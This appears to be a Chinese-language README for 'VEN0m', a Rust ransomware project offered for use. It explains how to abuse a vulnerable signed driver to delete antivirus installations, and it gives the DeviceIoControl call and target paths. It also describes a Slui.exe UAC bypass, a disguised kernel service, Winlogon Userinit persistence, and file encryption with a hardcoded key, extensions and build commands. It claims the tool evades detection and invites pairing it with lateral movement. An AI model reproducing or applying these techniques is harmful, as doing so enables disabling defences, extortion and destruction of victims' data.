https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc
本项目演示了如何利用一个合法且已签名的驱动程序来武器化,从而规避防御并部署勒索软件,模拟真实的网络攻击。
🚨 已在 Windows 11 Pro 24H2 上进行测试。自初始发布日(2026-02-23)起完全无法检测。
规避 UAC 绕过 BitDefender ✅ ✅ Kaspersky ✅ ✅ MS Defender ✅ ❌
VEN0m 采用了经典的 BYOVD 技术,但与 AV-EDR-KILLER 不同的是,后者利用一个暴露内核函数 ZwTerminateProcess 给非特权用户的易受攻击驱动程序,而 VEN0m 则利用 IObit Malware Fighter v12.1.0 中包含的一个易受攻击驱动程序,这颇具讽刺意味,因为我们正用它来规避检测。
这里的驱动程序是 IMFForceDelete.sys,它暴露了一个 IOCTL,允许非特权用户任意删除文件。此漏洞被追踪为 CVE-2025-26125,并且该驱动程序目前仍不在微软的黑名单中。
要触发任意删除,我们只需调用 DeviceIoControl API,IOCTL 码为 0x8016E000,传递一个指向目标文件宽字符串的长 void 指针,以及总长度乘以 2(因为 wstr_file.len() 给出 u16 元素的数量,每个元素为 2 字节)并转换为 u32 以适配 API 调用约定的 DWORD 参数。
> DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
[!NOTE]
+ ❓ 为什么 AV-EDR-Killer 在某些 AV/EDR 产品上失败了?
其核心思路是利用一个具有未受保护 IOCTL 的驱动程序,该驱动程序暴露了内核函数
ZwTerminateProcess,从而使任何用户模式应用程序都具备内核级别的终止能力。这种技术的弱点是某些 AV/EDR 产品 hook 了该函数,并能够拦截对其的调用。另一个值得注意的技术是利用某个易受攻击驱动程序的任意读/写原语来修补内存,并跳转到另一个更强大的终止函数
PsTerminateProcess,该函数并非由ntoskrnl.exe本身导出。这同样非常可疑,因为主机防御系统会持续扫描内存。 参考:https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/
我们只是简单地粉碎磁盘上的安装文件夹和可执行文件。就这么简单!
这似乎是大多数防御产品的一个盲点,因为我们针对的是磁盘上的文件,而非操纵内存或进行可疑调用。通过使用我们的 IMFForceDelete.sys 驱动程序,我们能够以高权限强制删除被锁定的文件。直接攻击 AV 或 EDR 产品听起来有悖常理,因为攻击者通常更倾向于隐身以绕过防御,而非与之对抗。
通过使用这种技术,我们破坏了正在运行的 EDR/AV 进程,直到它们逐渐崩溃并停止正常工作,这为肆虐横行并部署我们选择的载荷 VEN0m 打开了大门。
const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",];
为了绕过 UAC 提示,我们劫持了已签名微软二进制文件 Slui.exe 的执行流,该文件支持自动提权,在使用 runas 动词并在管理员上下文下调用时不会触发提示。
核心利用发生在 Slui.exe 尝试打开 HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command 下一个不存在的注册表键时。我们利用这个缺陷,创建缺失的键并插入 DelegateExecute,指向我们当前的载荷以委托执行。然后我们通过带有 runas 动词的 ShellExecuteW API 调用触发 Slui.exe 的执行,从而成功绕过 UAC。完整实现见 /src/uac.rs。
[!IMPORTANT] 我不确定这是否是一个应该上报的漏洞。如果是,请随时通过下面列出的电子邮件联系我。
由于 VEN0m 绕过了 UAC 并以高完整性运行,它能够自动将嵌入的驱动程序解压到临时文件夹,并创建具有伪装名称(如 MicrosoftUpdate11.01)的内核服务。它还包含了非常便捷的检查,如果服务已停止则自动启动,如果服务已存在则避免重复创建。
在主机防御被解除后,您可以选择任何您想要的持久化技术。
我选择了一种简单的 Winlogon Userinit 技术,该技术利用了 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 下的 Userinit 注册表键。默认情况下,此键指定 userinit.exe 作为值,用户在登录时执行该值以初始化用户环境。
然而,我们劫持了这个键,将我们的载荷路径附加到合法的 userinit.exe 之后,用逗号分隔,同时在 %LOCALAPPDATA% 中放置一份恶意软件副本。
该勒索软件扫描指定的驱动器,寻找具有目标扩展名的文件,同时根据排除列表进行过滤。匹配的文件使用一个 32 字节硬编码密钥进行加密,并将其扩展名更改为 .vnm。
您可以通过修改以下常量来自定义行为:
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"];
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"];
加密完成后,VEN0m 更改桌面壁纸并将可执行的勒索便条放到桌面上。它还注册了一个计划任务,每隔几分钟运行一次,以启动显示闪烁骷髅头 ☠️ 的便条 GUI。
/assets/wallpaper.jpg 为您自己的图片来自定义壁纸。/src/task.rs 来修改计划任务的属性。VEN0m 还包含一个解密工具 Antid0te.exe🧪,它可以扫描扩展名为 .vnm 的文件,并使用与加密相同的密钥逆转加密过程。
[!WARNING] 保存您的加密密钥非常重要,这样您就可以使用 Antid0te.exe 解密器来解密您的文件。
VEN0m 具有高度模块化和可定制性。您可以通过修改硬编码常量来更改勒索软件的行为。您还可以将其与您选择的提权漏洞或横向移动技术结合使用,进一步提升攻击效果 :)
> cargo build --release --bin Note --features 1
> cargo build --release --bin Antid0te --features 2
> cargo build --release --bin VEN0m
[!CAUTION] 您有责任确保在使用此工具前已获得适当的授权。作者不对滥用行为承担任何责任。
欢迎贡献和建议!如果您有“道德”的商业咨询或希望合作,请随时联系:[email protected]
用心制作,灵感来源于 Petya、WannaCry 等。
VEN0m 是一只影响我旅程的黑色流浪猫。